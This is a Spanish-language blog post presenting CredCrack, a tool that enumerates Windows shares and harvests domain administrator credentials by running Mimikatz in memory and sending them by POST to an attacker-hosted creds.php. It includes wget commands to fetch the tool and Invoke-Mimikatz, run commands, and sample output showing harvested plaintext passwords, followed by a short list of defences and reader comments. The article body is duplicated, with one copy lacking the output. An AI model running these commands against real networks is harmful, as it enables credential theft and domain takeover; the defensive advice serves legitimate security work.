CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:
Básicamente su funcionamiento es el siguiente:
- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.
CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub:
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py
y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1
Luego para enumerar recursos compartidos:
Y para recopilar credenciales:
Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es).
"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.
¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:
- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos
GitHub: https://github.com/gojhonny/CredCrack
Fuentes:
- Domain Administrator in 17 seconds
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz
Básicamente su funcionamiento es el siguiente:
- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.
CredCrack funciona con las herramientas nativas de Kali Linux y para usarlo sólo tenemos que bajarnos el script de GitHub:
wget https://raw.githubusercontent.com/gojhonny/CredCrack/master/credcrack.py
y descargar en el directorio /var/www el script en Powershell Invoke-Mimikatz.ps1 de Joe Bialek (@JosephBialek):
wget https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -O /var/www/Invoke-Mimikatz.ps1
Luego para enumerar recursos compartidos:
./credcrack.py -r 192.168.1.100 -d acme -u bob -es
Password:
---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Validating 192.168.1.100
-----------------------------------------------------------------
192.168.1.102 - Windows 7 Professional 7601 Service Pack 1
-----------------------------------------------------------------
OPEN \\192.168.1.102\ADMIN$
OPEN \\192.168.1.102\C$
-----------------------------------------------------------------
192.168.1.103 - Windows Vista (TM) Ultimate 6002 Service Pack 2
-----------------------------------------------------------------
OPEN \\192.168.1.103\ADMIN$
OPEN \\192.168.1.103\C$
CLOSED \\192.168.1.103\F$
-----------------------------------------------------------------
192.168.1.100 - Windows Server 2008 R2 Enterprise 7601 Service Pack 1
-----------------------------------------------------------------
CLOSED \\192.168.1.100\ADMIN$
CLOSED \\192.168.1.100\C$
OPEN \\192.168.1.100\NETLOGON
OPEN \\192.168.1.100\SYSVOL
[*] Done! Completed in 0.8s
Y para recopilar credenciales:
./credcrack.py -f hosts -d acme -u bob -l 192.168.1.100
Password:
---------------------------------------------------------------------
CredCrack v1.0 by Jonathan Broche (@g0jhonny)
---------------------------------------------------------------------
[*] Setting up the stage
[*] Validating 192.168.1.102
[*] Validating 192.168.1.103
[*] Querying domain admin group from 192.168.1.102
[*] Harvesting credentials from 192.168.1.102
[*] Harvesting credentials from 192.168.1.103
The loot has arrived...
__________
/\____;;___\
| / /
`. ())oo() .
|\(%()*^^()^\
%| |-%-------|
% \ | % )) |
% \|%________|
[*] Host: 192.168.1.102 Domain: ACME User: jsmith Password: Good0ljm1th
[*] Host: 192.168.1.103 Domain: ACME User: daguy Password: P@ssw0rd1!
1 domain administrators found and highlighted in yellow above!
[*] Cleaning up
[*] Done! Loot may be found under /root/CCloot folder
[*] Completed in 11.3s
Podríamos hacer prácticamente lo mismo con otras herramientas, pero sin duda este script resulta muy útil y facilita el trabajo. Eso sí, para que funcione y podamos obtener las contraseñas en claro necesitaremos ejecutarla con un administrador local, algo que podemos comprobar previamente al enumerar los recursos compartidos (-es).
"Pues vaya entonces...", dirás, pero piensa que nos puede servir para "elevar privilegios" a nivel de dominio o quizás podríamos haber obtenido simplemente un prompt con un usuario con permisos o haber reutilizado un hash, etc.
¿Y cómo podemos defendernos ante estos ataques? Pues un poco lo de siempre para evitar Mimikatz y técnicas Pass-the-hash:
- Usar usuarios como los mínimos permisos posibles o Enforce Least User Access (LUA)
- Usar un script que compruebe diariamente los usuarios con permisos administrativos
- Crear contraseñas teniendo en cuenta las buenas prácticas que aseguren un mínimo de complejidad
- No validarse en estaciones de trabajo con administradores de dominio
- Segmentar la red para separar los puestos de usuario de los servidores y controlar adecuadamente el tráfico mediante firewalls.
- Usar NIDS.
- Desactivar WDigest
- En Windows 8+ y Server 2012 no usar NTLM. no cachear Windows Digest y reducir el tiempo de vida de los TGT de Kerberos
GitHub: https://github.com/gojhonny/CredCrack
Fuentes:
- Domain Administrator in 17 seconds
- Preventing CredCrack, Mimikatz, Pass-the-Hash and more
- Dumping a Domain’s Worth of Passwords With Mimikatz pt. 2
- Auto-Dumping Domain Credentials using SPNs, PowerShell Remoting, and Mimikatz
muy bueno. un pequeño error. --es por -es
ResponderEliminar./credcrack.py -r 192.168.1.100 -d acme -u bob -es
saludos
corregido. Muchas gracias!
Eliminar